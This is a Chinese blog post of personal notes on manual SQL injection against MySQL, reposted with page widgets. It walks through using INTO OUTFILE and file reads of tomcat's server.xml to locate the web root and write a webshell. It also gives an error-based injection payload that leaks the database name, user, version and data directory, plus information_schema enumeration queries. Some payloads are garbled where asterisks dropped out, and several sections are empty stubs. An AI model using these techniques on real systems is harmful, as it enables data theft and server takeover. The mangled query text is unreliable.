注入技巧与案例

0X01 注入into outfile钟爱tomcat注入

1. 钟爱tomcat注入

tomcat+jsp+mysql

tomcat需要system或root权限,这种情况一般mysql为root,jsp没有GPC转义。

场景:

注入+fileprev,但没有网站物理路径

现在开始mang后台路径

  • /var/www
  • 如果已知 tomcat路径,读取 conf/server.xml
  • 读取/etc/profile (环境变量)

再读取/conf/server.xml得到网站路径

写入webshell获得权限

0X02 MySQL的from问题

select CateId from cmc_display_type where CateId = 375 and 1=2 union select 1 from (select count(),concat(floor(rand(0)2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a from information_schema.tables group by a)b

该语句不会报错,反而搜出了一个1

在版本5.1中

select 1 from (select count(),concat(floor(rand(0)2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)))a from information_schema.tables group by a)b

select 的内容作为一个临时表/虚拟表,供给from进行查询。所以select 1 from 虚拟表,搜索出来的内容为1。
虚拟表中,将select concat内容作为字段a。所以应该select a from 虚拟表,能够带出数据。
带出的数据因为rand(0)*2有两条。

将rand(0)2改为 1 或者去掉floor(rand(0)*2),则只有一条数据。

测试版本 4.1.22-community-nt (windows)

windows7 + mysql4,新安装的mysql只有mysql和test数据库
搜索一下information_schema数据库的版本

mysql版本>5时,有information_schema库。
而mysql4.1.22时,已经有虚拟表,具体的版本是3.23
版本大于3.23时,虚拟表from 虚拟表的语法不会报错。

插入

在select中,使用select a from 虚拟表来显示回显。
在insert中,如果是插入主键,可以select 1,将会报错,并且将报错信息中的内容带出来(Duplicate entry报错)

0X03 MySQL的表结构

以前手注有记得,但是使用间隔太长又给忘了。重新来一遍回忆一下吧

查看当前数据库所有表

select table_name from information_schema.tables where table_schema = database() limit 0,1

查看表的字段

select column_name from information_schema.columns where table_name = 表的hex limit 0,1

表结构

information_schema.tables information_schema.columns

database字段:table_schema
table字段:table_name
columns字段 column_name

0x04 GROUP_CONCAT与CONCAT的区别

GROUP_CONCAT通常表现为
GROUP_CONCAT(DISTINCT )

0X05 CONVERT转编码(土耳其)

0X06 函数总结

手工注入php+MySQL参数,技巧和描述

转载于:https://www.cnblogs.com/huim/p/10761066.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值